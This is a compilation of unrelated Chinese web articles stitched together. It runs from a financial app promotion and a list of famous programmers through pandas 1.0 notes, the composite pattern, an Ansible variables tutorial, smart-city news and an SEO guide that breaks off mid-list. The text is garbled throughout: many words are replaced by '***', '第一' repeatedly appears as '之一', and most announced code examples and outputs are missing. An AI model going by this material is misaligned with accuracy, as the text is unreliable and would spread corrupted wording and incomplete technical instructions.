  是不是有种跟着高校老师猜测考题的感觉。

  实体产业者:行业研究报告一览无余

  实力产业的你们可能更为关注行业的动态变化,如何紧跟市场发展动态,及时调整企业战略布局,我们将重点在“行业公司”模块为您提供最新且您最为关注的行业研究报告,节约您时间的同时给您最为精准前沿的市场行业动态信息。

  图/摄图网

  金融编辑者:热门资讯时时推送

  随着我们路闻卓立的发展,受到越来越多的国内外机构行业的关注,同时我们也开展与之紧密的合作交流,因此也增加了很多金融编辑者粉丝,对于你们的关注和支持,我们也乐于为你们分享更多研究资讯,其中在“路闻快讯”中为你们提供最新最热门的动态信息,让你们更好的把握国内外热点资讯。

  图/摄图网

  金融学者:协会论坛全程跟踪

  对于金融学者我们会进一步根据您的金融研究方向,在“宏观策略”、“人民币”等模块创建您个人专属的专题研究跟踪,您喜欢却又接触不到的行业大咖、金融机构、经济(金融)协会论坛等,我们也会在2019年进一步加强与他们的交流合作,为您的金融专题提供更高的质量报告。

  还有更多尽在路闻卓立APP...

  面对2019年新的经济形势,路闻卓立将开启“聚宝盆计划”。开拓海内外更多的行业机构合作、邀请更多的业内大咖、加强大数据的整合研究等。同时,在路闻卓立APP中我们将优化您的个人(机构)中心,打造与您最为“合身”的金融空间!

  -END-

  更多原创前沿资讯,请移步路闻卓立app:

  全球最厉害的14位程序员是谁,你知道的有几位呢?

  以下排名不分先后:

  1. Jon Skeet

  个人名望:程序技术问答网站Stack Overflow总排名之一的大神,每月的问答量保持在425个左右。

  个人简介/主要荣誉:谷歌软件工程师,代表作有《深入理解C#(C# In Depth)》。

   *** 上对Jon Skeet的评价:

  “他根本不需要调试器,只要他盯一下代码,错误之处自会原形毕露。”

  “如果他的代码没有通过编译的时候,编译器就会道歉。”

  “他根本不需要什么编程规范,他的代码就是编程规范。”

  2. Gennady Korotkevich

  个人声望:编程大赛神童

  个人简介/主要荣誉:年仅11岁时便参加国际信息学奥林比克竞赛,创造了最年轻选手的记录。在2007-2012年间,总共取得6枚奥赛金牌;2013年美国计算机协会编程比赛冠军队成员;2014年Facebook黑客杯冠军得主。截止目前,稳居俄编程网站Codeforces声望之一的宝座,在TopCoder算法竞赛中暂列榜眼位置。

   *** 上对Gennady Korotkevich的评价:

  “一个编程神童。”

  “他太令人惊讶了,他相当于我在白俄罗斯建立了一支强大的编程队伍”

  “彻底的编程天才”

  3. Linus Torvalds

  个人名望:Linux之父

  个人简介/主要荣誉:

  Linux和Git之父,一个开源的操作系统;

  1998年EFF(电子前沿基金会)先锋奖得主;

  2000年英国计算机学会Lovelace奖章得主;

  2012年千禧技术奖得主;

  2014年IEEE(电气和电子工程师协会)计算机学会先锋奖得主;

  2008年入选计算机历史博物馆名人堂;

  2012年入选互联网名人堂。

   *** 上对Linus Torvalds的评价:

  “他简直优秀得无与伦比。”

  4. Jeff Dean

  个人名望:谷歌搜索索引技术的幕后大脑。

  个人简介/主要荣誉:谷歌大规模分布式计算系统的设计师,例如:站点爬行,索引与搜索,在线广告,MapReduce,BigTable以及Spanner(分布式数据库)。2009年进入美国国家工程院;2012年美国计算机协会SIGOPS Mark Weiser Award以及Infosys Foundation Award奖项得主。

   *** 上对Jeff Dean的评价:

  “使数据挖掘取得了突破性发展。”

  “能够在各项工作都已安排得满满的情况下,仍能构思、创作、发布出MapReduce以及BigTable这些令人赞叹不已的工具。”

  5. John Carmack

  个人名望:之一人称射击游戏经典师祖《Doom》(毁灭战士)之父

  个人简介/主要荣誉:id Software公司联合创始人, *** 了很多脍炙人口的游戏,如:《德军司令部》(Wolfenstein 3D,又名《刺杀希特勒》)、《Doom》(毁灭战士)、《Quake》(雷神之锤)。引领了很多计算机显示领域的新技术,包括:adaptive tile refresh(切片适配更新)、binary space partitioning(二元空间分割)、surface caching(平面缓存);2001年进入互动艺术与科学学院名人堂;2010年收获游戏开发者精选奖终身成就奖殊荣。

   *** 上对John Carmack的评价:

  “ *** 了很多革命性的之一人称射击游戏,影响了一代又一代的游戏设计者。”

  “他能在一周内就完成任何的基础设计工作。”

  “他是会编程的莫扎特。”

  6. Richard Stallman

  个人名望:Emacs文本编辑器,多种语言编译器GCC的创造者。

  个人简介/主要荣誉:GNU项目发起人,开发出很多核心工具,例如:Emacs,GCC,GDB和GU Make Free Software公司创始人。1990年获得美国计算机协会Grace Murray Hopper奖项;1998年获得EFF(电子前沿基金会)先锋奖。

   *** 上对Richard Stallman的评价:

  “曾独自一人与一众Lisp黑客好手进行比赛,那次是Symbolics对阵LMI。”

  “尽管我们对事物有不同看法,但他一定是最有影响力的程序员,无论现在还是将来。”

  阅读本文大概需要 3.2 分钟。

  "Everybody in this country should learn how to program a computer...

  because it teaches you how to think."

  ---Steve Jobs

  作为苹果公司联合创始人,乔布斯被认为是计算机业界与娱乐界的标志性人物,上面这句话就是他对「编程」的肯定,他认为,每个人都应该学习编程,因为它能教你如何思考。

  确实,现在互联网的普及和发展,加上深度学习、人工智能的发展。而且,编程已经要纳入高考科目,少儿编程也越来越受到重视。

  今年高考试题,就出现了不少编程相关的题目,教育部也出台了相关人工智能课程的开设,各大高校也相继成立了人工智能相关专业。编程不再是只有程序猿才需要学习的技能了。

  为什么要人人学习编程呢?这与编程的本质是分不开的,简单来说,编程就是理解问题、并找到解决问题的 *** 或路径,而在这个过程当中,所产生的一系列思考,也就是编程思维。

  编程思维与逻辑思维同体,编程非常注重逻辑的培养,编程思维是生活也是随处可见。如记忆一个手机号码,与你死记硬背相比,你可以运用编程思维来分步骤理解,并找出规律。

  这样的记忆,不仅深刻,还可以举一反三到身份证、银行卡等号码的记忆。通过不断地培养编程思维,我们在看到问题时,就能够抽丝剥茧般地理解问题,并找到解决问题的路径,问题也就迎刃而解了。

  编程,并不是我们通常认为的那一行行晦涩难懂的编程代码。学习编程,也不是一定要去编写程序代码,而是通过学习编程思维,来解决实际的问题。

  在不断的解决问题中,也就是一个不断积累的过程,得到锻炼的编程思维在处理各类问题时,就有更为快捷和智能的解决方案了。如同乔帮主一般,iPhone 手机的设计及功能使用,因其快捷和智能,深得人们的喜爱。这也正是人人都要学编程的本质所在吧。

  而对于大学生来说,学习编程的好处就更加多多了,就如我上一篇

  期末邻近,你还在担心选修的网课挂科吗?

  所说,如果你懂得编程,不仅能够让你空出更多的时间,还能提高你的工作学习效率。

  后续我也会分享更多的编程技巧,以及非计算机专业也能够使用到的编程解决方案,期待你所碰到的难题,我们一起来用编程解决,一起前行!

  Not Only Coding!

  大家好 我是平平.平时我们在家里都会连接无线网上网,但是大家明明连接好的网却缺不稳定,还容易掉线,今天呢平平教大家一招,只需简单手机这样设置一下让你的 *** 非常的流畅一起来看看吧。

  首先呢,我们要打开手机设置,然后再点击无线 *** ,大家可以看到现在目前我的手机已经连接上了无线 *** ,但是呢 如果想 *** 长期稳定下来还不掉线,我们要点击后面这个感叹号。

  进入 *** 之后呢,大家可以看到往下翻有个配置dns,我们点击进入,进入配置dns之后呢大家可以发现有一个自动和一个手动,我们这里自定义连接的是自动 我们要把它改成手动。

  大家可以看到这里dns服务器 它连接的是192.168.1.1,这个呢一般情况下我们都手机都是连接的这个,但是如果想把 *** 稳定下来,我们要把这个自定义的服务器删除掉。删除掉之后呢,我们再添加一个新的服务器,是114.114.114.114 就是4个114,然后下面也是添加一样的4个114,接着我们点击储存 这个保存下来。

  保存好之后呢?我们返回一下,随便找一个浏览器,测试下 *** ,大家看 目前我选择的114的那个服务器, *** 还是挺流畅的。而且也没有卡顿也没有掉线的情况,非常稳定 *** ,好了如果你以后在家上网连接手机wifi不稳定的话可以用以上设置一下,今天的视频我们就分享到这里了,下期再见。

  Pandas是一个功能强大的开源Python库,用于数据分析,操作和可视化。 自2014年以来,我一直在教数据科学家使用pandas,从那时起,它已经越来越受欢迎,估计有500万到1000万用户,并成为Python数据科学工具包中的“必须使用”的工具。

  我是在版本0.14.0左右开始使用pandas,并且我已经关注了pandas库,因为它的当前版本0.23.4已经非常成熟。 但是多年来,许多数据科学家都向我提出过这样的问题:

  “Pandas可靠吗?”

  “它将来会继续工作吗?”

  “它有问题吗?他们甚至没有发布1.0版本!”

  版本号可用于表示产品的成熟度,因此我理解为什么有人可能会犹豫是否依赖“1.0之前的”软件。 但在开源世界中,版本号并不一定能告诉你任何关于库的成熟度或可靠性的信息。(是的,Pandas库既成熟又可靠!)相反,版本号传达了API的稳定性。

  特别是,版本1.0向用户发出信号:“我们已经弄清楚API应该是什么样子,因此只有主要版本(2.0,3.0等)才会发生API破坏性更改”,换句话说,版本1.0标志着代码永远不应该仅仅因为升级到下一个次要版本就导致中断。

  所以问题仍然存在:Pandas1.0中会出现什么,它什么时候到来?

  走向pandas 1.0

  我最近观看了Pyrad London的一个名为Towards pandas 1.0的演讲,由Pandas核心开发人员Marc Garcia发表。 关于Pandas的未来,这是一个启发性的讨论,所以我想强调并评论一些提到的项目:

   *** 链

  inplace

  Apache Arrow

  可拓数组

  其他弃用

  路线图

  如果你想跟随完整的谈话幻灯片,可以在这个Jupyter notebook中找到它们。(

   *** 链

  Pandas核心团队现在鼓励使用“ *** 链”。 这是一种编程风格,您可以将多个 *** 调用链接到一个语句中。 这允许您将中间结果从一个 *** 传递到下一个 *** ,而不是使用变量存储中间结果。

  以下是Marc实现的不使用 *** 链的示例:

  以下是使用 *** 链的等效代码:

  他们更喜欢 *** 链的主要原因是:

  可读性:在他们看来, *** 链更具可读性。

  性能:由于 *** 链提前告诉Pandas您想要做的一切,Pandas可以更有效地规划其操作。

  以下是我的想法:

  多年来我一直在编写简短的 *** 链,我发现它们比替代方案更具可读性。 例如,我绝不会通过使用中间变量将df.isnull().sum()或ser.value_counts().sort_index()分成多行代码。

  但是,我实际上发现长 *** 链(Marc的第二个例子)比其他 *** 更不易读,但也许那是因为我不习惯写它们。 具体来说,我很难搞懂assign() *** 中的lambda函数。

  另一位pandas核心开发者Tom Augspurger也指出:

  “过长链的一个缺点是调试可能会更难。如果最后出现问题,你就没有中间值来检查。”

  需要明确的是,pandas一直提供 *** 链,但通过添加新的“可链式” *** ,对链的支持有所增加。 例如,query() *** (在上面的链中使用)之前在文档中被标记为“实验性的”,这就是为什么我没有使用它或教它。 该标签已在pandas 0.23中删除,这可能表明核心团队现在鼓励使用query()。

  我认为您不会被要求使用 *** 链,但我认为文档最终可能会迁移到使用该样式。

  有关该主题的更长时间的讨论,请参阅Tom Augspurger的Method Chaining帖子,该帖子是他的Modern pandas系列的第2部分。(

  inplace

  pandas核心团队不鼓励使用inplace参数,最终它将被弃用(这意味着“计划从库中删除”)。 原因如下:

  inplace在 *** 链中不起作用。

  与名称所暗示的相反,使用inplace通常不会阻止创建副本。

  删除inplace选项会降低pandas代码库的复杂性。

  就个人而言,我是inplace的粉丝,我喜欢写df.reset_index(inplace=True)而不是df=df.reset_index()。 话虽这么说,许多初学者确实对inplace感到困惑,并且在pandas中有一个明确的 *** 来做事,所以最终我会同意弃用inplace。

  组合模式的定义

  定义: 将对象组合成树形结构以表示 "部分-整体" 的层次结构,使得用户对单个对象和组合对象的使用具有一致性.

  通俗的说, 就是实现了树形结构

  通用类图如下:

  其中的三个角色如下:

  Component 抽象构件角色: 定义参加组合对象的共有 *** 和属性, 可以定义一些默认的行为或属性

  Aggregate 树枝构件: 组合树枝节点和叶子节点形成一个树形结构

  Leaf 叶子构件: 其下再没有其的分支, 是遍历的最小单位

  抽象构件角色代码:

  树枝构件代码:

  叶子构件代码:

  场景类代码:

  组合模式的应用

  组合模式的优点:

  高层模块调用简单. 一棵树形机构中所有的节点都是 Component, 局部和整体对调用者来说没有区别, 高层模块不必关心自己处理的是单个对象还是组合结构, 简化了高层模块的代码

  节点自由增加. 如果想增加一个树枝节点、树叶节点, 只要找到它的父节点就可以, 非常容易扩展,符合开闭原则,对以后的维护非常有利

  组合模式的缺点:

  我们在使用的时候, 树叶和树枝的定义直接使用了实现类, 这在面向接口编程上是很不恰当的, 与依赖倒置原则冲突, 限制了接口的影响范围

  组合模式的使用场景:

  维护和展示部分-整体关系的场景, 如树形菜单、文件和文件夹管理

  从一个整体中能够独立出部分模块或功能的场景

  只要是树形结构, 就要考虑使用组合模式, 只要是要体现局部和整体的关系的时候,而且这种关系还可能比较深, 应该考虑组合模式

  组合模式的扩展

  1.真实的组合模式

  在上边的例子中, Clien 中进行了树的组装, 而在实际项目中, 数据通常在数据库中, 我们直接从数据库将数据读取放到树上就可以了

  2.透明的组合模式

  组合模式有两种实现: 透明模式和安全模式. 上面的实现就是安全模式, 透明模式的类图如下:

  透明模式就是把用来组合使用的 *** 放到抽象类中, 通过判断getChild() 的返回值确定是叶子节点还是树枝节点, 在 Leaf 中实现 add等 *** 要抛出异常, 如果处理不当, 会在运行期出现问题

  在透明模式下, 遍历整个树形结构是比较容易的, 不用进行强制类型转换.

  透明模式的好处就是它基本遵循了依赖倒置原则, 方便系统扩展

  3.组合模式的遍历

  有的时候不光要从上向下遍历, 还要从下往上遍历, 也就是通过子节点要找到他的父节点, 这时就要在抽象构件角色中添加 getParent *** , 也就是在每个节点都增加一个父节点对象

  在合肥“中国声谷”看到一款智能鼠标,它不仅可以像普通鼠标一样使用,还可以语音录入,准确率达到了90以上,不仅可以录入汉语,还可以同声同时翻译成英文,实用性非常强。每分钟可以输入400汉字,支持26种语言,不会打字、不会外语,这高科技鼠标帮你迎刃而解了。

  中国声谷是国家工信部与安徽省 *** 共建的合作一个大产业项目,要用5年时间将把“声谷”打造成全国智能语音领域产业“发展高地”,形成具有国际竞争力的产业生态,引领全国AI产业。

  中国声谷用五年布局,实现了从零到1的脱变,形成了产业特色明显、技术领先、配套齐全、辐射全球的人工智能产业集群,2017年中国声谷产值超500亿元,今年前八个月突破420亿元,同比增产30%。

  在中国声谷产品展示区参观,我们其实更加关心那些与我们息息相关的新智能产品,渴望在我们的生活中尽快见到和使用它们。

  这台全球首台软硬件一体化智能钢琴最重要的除了演奏使用,它还是一位钢琴教师,可以线上教学,也可以采集数据,可以评估学习水平和能力,大大提高了学习钢琴的兴趣和效率。

  而这款口袋翻译机,成为了我们生活与工作的小翻译,它可以随时随地翻译成其他语言,为我们出国和接待外国人创造了条件,不仅准确率高、使用方便,最主要的是价格很便宜。

  这是一个可以折叠的小型走步机,它的特点是人体智能化的选项,可以自由的选择你的走或跑 *** ,重要的是它会感知你的状态,一旦脚步跟不上退后,它就会减速,保证你的安全不会摔倒。

  “小度在家”已经拥有3000万条短视频,1400万条百科、50万儿童故事、100万相声小品,你还需要啥?它还有100万道菜谱、上亿的母婴知识。足不出户可知天下事,科技改变生活,也让我们的生活更完美。

  你能想象到这是什么?其实它是一个电源的开关,它的出现源于家庭用电的智能化,这种开关不是按在墙上,而是放在房间里角落里的任何位置,就如同遥控器一样,当你使用时可以随时随地,既方便又环保,还节能。

  在人工智能的战略窗口期,中国声谷还将去美国、英国、日本等国引智引技,加速形成领先全球的人工智能产业链,成为具有国际竞争力、影响力的“中国声谷”。让更多的人工智能产品服务中国、贡献世界。

  日前,北京建工技术公司凭借创新打造的“顶层设计—建设管理—智慧运营”三段式产业模式,和在智慧城市领域技术集成的服务优势从多家竞标单位脱颖而出,成功中标作为海淀区“城市大脑”核心项目的应急指挥平台智能化升级项目,助推公司在智慧城市顶层设计及运营服务领域的业务拓展。项目的实施将全面提升海淀区城市治理精细化、智能化水平。

  公司项目团队开展平台升级需求调研分析工作

  海淀区“第十三个五年规划纲要”中指出:加快推进城市智慧管理,应用大数据提升城市治理水平;推动大数据整合及应用,支撑智慧海淀总体发展。随着城市管理要素和管理维度的增加,海淀区原有应急平台的基础功能和自动化程度,已无法满足应急业务需求,管控平台升级、优化补充功能势在必行。

  据了解,为实现应急指挥平台的高标准升级建设,作为实施单位的技术公司,将结合人工智能、云计算、大数据等先进技术,以科技融合创新为手段,助力平台实现智能化升级,推动海淀区“城市大脑”建设进入快车道。

  平台升级后能够实现数据互联互通,信息实时共享

  平台采用一条主线两轴三段式管理模式

  据项目负责人介绍,应急指挥平台的智能化升级,将在提升应急管理工作流程化、精细化和智能化同时,推动“统一指挥、功能完善、反应灵敏、协调有序、运转高效”的应急机制建立,对预防和应对自然灾害、事故灾难、公共卫生事件和社会安全事件,减少突发公共事件造成的损失产生发挥重要作用。据悉,该项目将于2019年9月完成建设并投入使用。

  我们是低碳智慧城市运营集成服务提供商

  请关注我们,了解更多

  微信号:B *** DC-BJ

  各有关单位:

  为贯彻落实《工业和信息化部办公厅关于开展 *** 安全技术应用试点示范项目推荐工作的通知》(工信厅网安函〔2018〕366号)的要求,我委开展 *** 安全技术应用试点示范项目的收集和推荐工作,经各单位自愿申报材料情况,我委于2018年12月组织专家小组对12306互联网接入 *** 安全保障示范应用等11个项目进行专家评审,现将符合申报条件且专家评审得分前8名的项目名单予以公布(详见附件)。

  特此通知。

  附件:推荐 *** 安全技术应用试点示范项目名单

  深圳市经济贸易和信息化委员会

  2018年12月29日

  互联网创业的方向无非渠道和内容两类。

  在互联网企业的四类典型业态中,生态型企业和平台型企业指向的是渠道,而品牌型企业和工匠型企业指向的则是内容。

  渠道模式的特征是高度同质化和无限扩张性,规模越大,收益越高,边际成本也趋向于零。内容型创业的核心是产品,从内容属性分为资讯、商品和服务,共同的核心是创造好的消费体验。在互联网商业里,两类创业模式并非相互独立,更多的是相互依存,渠道型企业需要内容型企业来实现它的“互联网+”,而内容型企业又依靠渠道型企业来实现它的“+ 互联网。

  渠道模式是早期互联网创业的理想方向选择。在传统时代是很难想象把海量的人聚拢在一个平台里实现商业价值,但互联网轻易地就解决了这一问题,为平台型创业提供了可能性。互联网领域的创业如火如茶,是因为一扇新的门刚被打开,里面有足够的空白地带,所以短时间内会吸引大量创业者拥而入,但空白地带渐渐填满时,也就意味着互联网创业的阶段性饱和。

  目前,平台型企业创业的时间窗口期正在慢慢关闭。

  渠道模式主要可以分为两类,一类是平台模式,一类是广告模式。

  平台模式的特征就是无限连接买卖双方,形成交易闭环,自身承担交易中介。广告本质上是出租流量,通过一个中心汇聚流量,这个中心可能是一个公众号、自媒体或某个网红,然后将汇聚的流量嫁接到某一商品或服务上形成量变现。流量中心充当的是渠道功能。两者的更大区别在于,平台模式是通过发展双边市场来形成流量,而广告模式是通过中心汇聚流量后延伸出市场,本质都是渠道,只是发生路径的不同。这也限定了两种模式最后的结果,平台模式更容易做大,广告模式则规模有限。但也正是因为规模小,广告模式的创业机会更多,平台模式由于同质化竞争,如果做不到之一最后没什么大的机会。

  相比于渠道型企业,基于互联网的内容型企业存在更大的发展空间其实也很好理解,因为平台模式在最终结果呈现的数量上是非常有限的。面内容型企业一方面存在行业的多样性和产品的个性化,另一方面即便是在个行业内也很难形成单品垄断,因而释放的创业空间就会很大。

  现在越来越多的互联网品牌在诞生也说明了这一点,基于传统时代的行业品牌会逐渐被更多新生代所抛弃。一代人需要一代人的记忆,当前正是有行业进行品牌重建的时期,一方面老的品牌在塌陷,一方面新的品牌还未形成,谁能在这个阶段创造出基于互联网的新品牌,谁就有可能在未来的行业竞赛中胜出。

  互联网内容型企业的发展呈现两个趋势。

  之一,对于实物类产品,通过互联网优化自身系统,从原料供应、生产加工、运输物流到品牌推广和线上支付,将互联网变成提升效率和重构品牌的工具。

  第二,对于虚拟化产品产品可以不赚钱,依靠产品获取流量,后续变现,产品走向渠道化。现在不仅虚拟化产品,实物型产品也有这个趋势:免费印刷名片、免费注册公司免费吃包子、免费化妆、免费试听等,本质上是出让一部分利益以换取道量。

  因此,传统商业的互联网化,其实包含两层意思,一是产品的互网化,二是运营的互联网化。

  关注有趣的卡卡伦,科技从未如此有趣。( ̄︶ ̄)

  南通周刊

  公众号ID:ntzhoukan

  话说,时至数九

  小北风在外面呼呼地吹

  可有些事

  还不得不往外跑

  比如有些要审批事项

  其实

  你也可以试试

  不见面审批

  只要你下载一个名叫

  南通百通的APP

  据南通市大数据发展集团有限公司数据产业部介绍,目前,"南通百通"App,已经实现了"政务服务"、"社会保障"、"健康服务"、"交通出行"、"政民互动"、"公共服务"、"住房保障"、 "文体教育"、 "南通资讯"、"就业服务"十大板块功能建设,市民可以一站式获取南通当地的全方位信息服务,点点手机就能完成审批服务事项申报,通过信息化系统流转到各部门进行事项审核,标志着政务事项从"集中办"、"网上办"到"掌上办"的全新阶段。

  目前"南通百通"APP已经实现全市37个部门516项政务在线办理,真正实现了"让数据多跑路,老百姓少跑腿",是我市智慧城市建设的又一个里程碑,同时也是标志着我市全面深化"放管服"改革取得的重要阶段性成果。

  收好这张表,

  516项手机可办的审批事项都在这里了。

  更多应用(下拉预览)

  据南通市大数据发展集团有限公司常务副总经理周剑飞介绍,南通市大数据发展集团有限公司为市属二类平台企业,致力于全市智慧城市重大项目推进、大数据基础建设、运营,数据采集、分析交易、产业投资等,目前已获得国家专利3项、软件著作权23项、市级科技进步奖2项。

  南通市大数据集团有限公司投资控股企业南通智慧交通科技公司已经建成"出行管家"、"行业管家"、"安全管家"三大品牌系列产品,在智能交通领域实现了整体规划、系统集成、软件开发和运营维护等全流程管理核心竞争力;南通电子口岸公司已经建成"一站式"大通关服务平台,并在国际航行船舶管理、市场采购贸易、跨境电商等领域实现全国复制能力。

  这几年,大家出行越来越离不了车了,有车的人出门开车,没有车的人出门也要打车,所以没有车的话可以说是寸步难行了。而且随着科技的不断发展,一系列非常智能化的汽车也被生产出来了。

  11月1日,广州白云出租车集团有限公司宣称:中国之一辆全自动的自驾出租车正式启动,先在广州的大学城进行试运行,起步价是12块钱,在当天的发布仪式上,就有两名学生被选中免费体验一下这款自动驾驶的出租车。

  据了解,该自动驾驶汽车的型号是广州汽车新能源GE3纯电动智能联盟的SUV,非常符合现在提倡新能源的潮流。具体的操作 *** 是:乘客可以在APP上选择自己想去的目的地,到了你所选择的车上之后,点击启动车辆,车辆就可以通过多传感融合的方式实现全方位的感知,比如说准确的判断周围的路况。

  为了保证车辆的安全,运营商还在车上安装了整个车辆的健康检查系统和备用的传感器,一旦出现意外的话,车辆就能够很快的做出反应。乘客还可以通过APP实现电子制动,除此之外,车上装的大灯其实是雷达,可以探测周围200米的环境,非常方便。

  但是,很多人也对该项目表示了怀疑,虽然探索和创新的想法是好的,但是真的运营也会出现很多问题。因为现在的交通非常的拥挤,一旦这个自动驾驶的出租车因为一些故障发生失控,也会给路上的人带来不可估量的灾难。而且,现在我国还没有与自动驾驶有关的法律,一旦自动驾驶汽车在运营过程中出现问题,法律也没有一个明确的规定,所以现在运营并不是更好的时机。

  ansible系列第五篇(变量)

  变量(1)

  注意: 在ubuntu系统经过测试,普通用户和root用户都需要设置密码。

  执行playbook脚本时,都需要执行该命令:ansible-playbook -S -R root yaml文件名称

  变量由字母,数字,下划线组成。变量名要以字母开头。

  在playbook中使用变量

  使用vars关键字,表示在当前play中进行变量的相关设置。

  使用"{}" 可以引用对应的变量。

  在定义变量时,以类似"属性"的方式定义变量,例如:

  变量文件分离: 将变量分离到某个文件中,可隐藏某些变量值并将不同类的信息放在不同的文件中,与play剧本分开。

  在文件中定义变量时,不要使用vars关键字,直接定义变量即可。例如:

  在playbook剧本中引入包含变量的文件时,使用"vars_files" 关键字,被引入的文件要以"-" 开头,以YAML中块序列的语法引入。例如:

  执行nginx的playbook剧本:

  也可以引入多个变量文件,每个被引入的文件都要以"-"开头。

  "vars"关键字和"vars_files"关键字可同时使用。

  变量(2)

  当运行一个playbook时,默认都会运行一个名为[Gathering Facts]的任务,ansible通过这个默认任务收集远程主机的相关信息。收集到的远程主机信息会保存在对应变量中。

  setup模块

  查看这个默认任务收集的信息可以使用setup模块。

  返回信息比较多,但是都是json格式的字符串。就不一一介绍了,相信各位工程师都可以看懂。

  通过setup模块的filter参数可指定需要过滤的关键字。

  通过关键字对信息进行过滤,例如查看系统信息

  返回信息为:

  使用通配符,进行模糊过滤。

  也可以在远程主机中写入自定义信息,自定义信息需要写在/etc/ansible/facts.d目录下的以".fact"为后缀的文件中,文件内容格式必须是ini或者json格式。

  ansible默认会去远程主机的/etc/ansible/facts.d目录下查找主机中的自定义信息。

  在远程主机创建目录

  在被控机本地自定义的信息被称为"local facts".

  可通过"ansible_local"关键字过滤远程主机的"local facts"信息。

  在管控机执行:

  输出信息为:

  debug模块

  可以使用msg参数输出自定义信息,也可以使用var参数直接输出变量中的信息。

  例如:

  使用debug的msg参数时也可以引用变量的值。{}。

  输出信息如下:

  变量(3)

  注册变量

  注册变量:将模块的返回值写入到变量中的 *** 。

  使用"register"关键字指定对应的变量名即可。

  输出的信息如下:

  如果要获取到返回值中的某一项特定值,只需要指定键值对中的key即可。例如: {}

  提示用户输入信息并写入变量

  将用户输入的信息存入指定的变量中,当需要输入信息时,引用对应的变量即可。

  输出信息如下:

  命令执行后默认情况下不显示用户输入的信息。要显示用户输入时的信息,可以使用private关键字。将属性设置为no即可。

  为提示信息设置默认值

  输出信息如下:

  用提示信息创建用户和密码

  使用user模块创建用户并设置密码。

  使用"encrypt"关键字,对用户输入的字符串进行哈希。

  表示使用sha512算法对用户输入的信息进行哈希。

  注意: 当使用"encrypt"关键字对字符串进行哈希时,ansible需要依赖passlib库完成哈希操作。

  安装:

  也可以用其他算法对字符串进行哈希。参考ansible官网。

  例如:

  执行命令:

  输出信息如下:

  使用"confirm"关键字实现确认密码的功能。

  在useradd.yaml文件中,encrypt关键字的下方添加confirm关键字,并设置属性为yes即可。

  在远程主机18.18.23.102上,用user用户并输入密码即可登录。

  变量(4)

  在清单中配置变量

  主机变量

  配置被控机时也可以配置对应变量。主机变量的生效范围只限于对应主机。

  主机组变量

  将多个主机分为一组。为单个组配置组变量。组变量的使用范围为组内所有主机。也可以用YAML格式配置。使用vars关键字指定组变量,vars对应组的下一级。

  执行结果如下:

  通过set_fact定义变量

  set-fact是一个模块,通过set_fact模块在tasks中定义变量。也可以通过set_fact将一个变量的值赋予另一个变量,例如:

  说明; 先定义变量nodename,再使用register将shell模块的返回值注册到变量shellreturn中,接下来,使用set_fact模块将nodename变量的值赋予给变量node1,将shellreturn变量的stdout信息赋值给node2变量。最后使用debug模块输出node1和node2的值。

  变量(5)

  清单配置:

  内置变量ansible_version

  查看ansible版本号

  内置变量hostvars

  hostvars在操作当前主机时获取到其他主机中的信息。

  命令行执行:

  执行playbook脚本时,都需要执行该命令:

  输出test2的ens34网卡的IP信息:

  使用gather_facts关键字可以控制当前play是否收集对应主机的facts信息。

  使用hostvars内置变量获取其他主机中的注册变量。例如:

  跨play获取其他主机中的变量信息

  内置变量inventory_hostname

  通过inventory_hostname变量可以获取到 *** 作的当前主机的主机名称。

  执行命令:

  这里的主机名称是对应主机在清单中配置的名称。

  内置变量inventory_hostname_short

  获取当前play操作的主机在清单中的名称。

  返回结果为主机的简短名称。

  内置变量play_hosts

  获取到当前play所操作的所有主机的主机名列表。

  执行hosts.yaml。

  总结: inventory_hostname只返回当前 *** 作的主机的主机名。play_hosts则返回当前play中所有 *** 作主机的主机名列表。

  内置变量groups

  通过groups内置变量获取到清单中"所有分组"的分组信息。

  执行命令:

  获取指定组的分组信息,例如:获取testA信息

  内置变量group_names

  获取当前主机所在分组的组名。

  内置变量inventory_dir

  获取到ansible主机中清单文件的存放路径。

  一般是默认的清单文件路径:/etc/ansible/hosts

  执行命令:

  坚持自己所选择的,方能成就自己想成就的。或许学英语对有些人很简单,但是对于运维人员来说,也是一项不小的挑战。往往最新最火的技术就在官方英文文档中,虽然现在的翻译软件很多,但翻译出来的句子大部分有点词不达意,导致自己误解了官网文档的正确意思。学好英语和思考能力是必不可缺的。小编也会尽量每周更新一篇文章和一小段每日英语,希望能够帮助更多的读者。

  每日英语(Daily English Tips)(1)

  1-100的英文单词如下:

  每一位SEO从业人员都曾经困惑过,关键词怎么优化才能做到排名效果好?很多老司机级别的到现在都没有找到SEO优化的重点,今天就给入门从业者或者一直困惑老司机分享一下。

  想把关键词排名优化上去,并且能稳定在一定的位置,达到好的效果,需要从多方面准备:

  1、服务器的稳定性和连通性

  服务器的质量决定着关键词优化效果的生死,这绝不危言耸听。曾经接触过很多SEO优化的从业者,自认为实力还不错,但是网站上去了总是容易掉,拿过来让我分析,我之一步不是分析你网站原创、内容、外链什么的,先看服务器,网站打开速度接近30秒还未加载完的效果能好吗,搜索引擎蜘蛛爬取的时候也是有超时时间的,我们作为程序开发从业者来说,为了加快智能化效率,肯定会对响应不好的资源进行策略,甚至拒绝,关键词怎么优化才能做到排名效果好?先解决服务器问题。如何选择服务器呢,推荐用国内知名IDC的云服务器,当然价格不低,要是和SEO优化投入成本比起来,还是能接受的。

  2、网站关键词规划

  为什么我把网站关键词规划放在第二位置,因为服务器的稳定性好比一个安稳的家,有了家,才有依靠。网站从 *** 开始就应该规划好要重点做哪些关键词的排名优化,哪些关键词转化率高又容易将排名效果做起来,如果等网站上线发布了,搜索引擎收录了,再去调整核心关键词是硬伤,当然不排除你的运气很好。关键词的排名优化是靠长期积累的过程,达到好的效果需要时间,时间越久越稳定,效果越好,就好比白酒一样,要年份。关键词的选择可以参考百度等各大搜索引擎的下拉位置和相关位置,结合百度推广后台的关键词规划功能,综合选择,普通中小企业网站,关键词不用太多,选择几个精准转化率高的关键词就行了。

  3、网站内容的原创也是有讲究的

  很多关键词排名优化从业者习惯性整一个新闻版块,然后在这个新闻版块复制了大量新闻资讯内容,和网站甚至核心关键词的中心思想完全不符,还有一些拿着伪原创工具将文字混淆就认为是原创了,这些思路是有问题的。一般来说一个中小企业没那么多新闻,自然就没有什么原创可写的,在内容填充这块是个硬伤,我建议可以将新闻版块换成经验分享,然后写一写与核心关键词业务主题相符的原创性经验,实在没什么可写的,也要有宁缺毋滥的原则,不要大量采集新网站充数。

  4、外链的选择有很多误区

